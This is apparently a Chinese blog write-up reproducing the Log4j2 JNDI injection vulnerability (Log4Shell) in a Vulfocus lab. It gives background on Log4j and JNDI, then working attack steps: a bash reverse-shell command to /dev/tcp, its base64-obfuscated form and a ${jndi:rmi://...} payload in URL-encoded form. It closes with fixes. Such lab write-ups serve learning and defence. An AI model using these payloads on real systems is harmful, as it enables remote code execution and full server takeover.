一、漏洞概述
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,可以让未经身份验证的攻击者获得对目标系统的完全访问权限。
受影响版本:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
二、漏洞原理
1.Log4j是什么
Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。
2.LDAP是什么
轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
3.JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
4.Log4j漏洞原理
本次漏洞是因为Log4j2组件中 lookup功能的实现类JndiLookup的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。 简单来说就是因为输入的字符串没有添加限制,只要是符合${形式就可以。详情请膜拜大佬的文章(https://blog.csdn.net/wuyu7448/article/details/121985812)
三、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
四、实验流程
1.开启vulfocus环境,进入漏洞场景;可以看到提供的端口号为11193
2.开启brup抓包,可以看到注入位置在/hello目录下的一个payload位置,并且是get提交的数据
3.开启侦听,端口号设为2333
4.构造攻击payload执行命令反dshell
原始口令:bash -i >& /dev/tcp/IP/Port 0>&1 (IP:192.168.117.131 Port:2333)
经过base64编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9Qb3J0IDA+JjE=}|{base64,-d}|{bash,-i}
原因:由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
5.使用JNDI注入,反dshell并发送
①这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,并选取如图标识出的rmi
②利用漏洞地址去访问本地的JNDI服务
命令:payload=${jndi:获取的rmi} (rmi://192.168.117.131:1099/cwzhna)
URL编码:payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.117.131%3A1099%2Fcwzhna%7D
6.查看结果,可以看到反dshell成功
7.获取flag,复现完成
六、修复方式
1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
3.升级到官方最新版本:https://logging.apache.org/log4j/2.x/download.html
七、写在后面
刚发现Vulfocus这个漏洞搭建平台,对我这种复现一个漏洞就要花好长时间搭建环境的简直太友好了。搭建过程详情见:https://blog.csdn.net/lza20001103/article/details/124367290
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)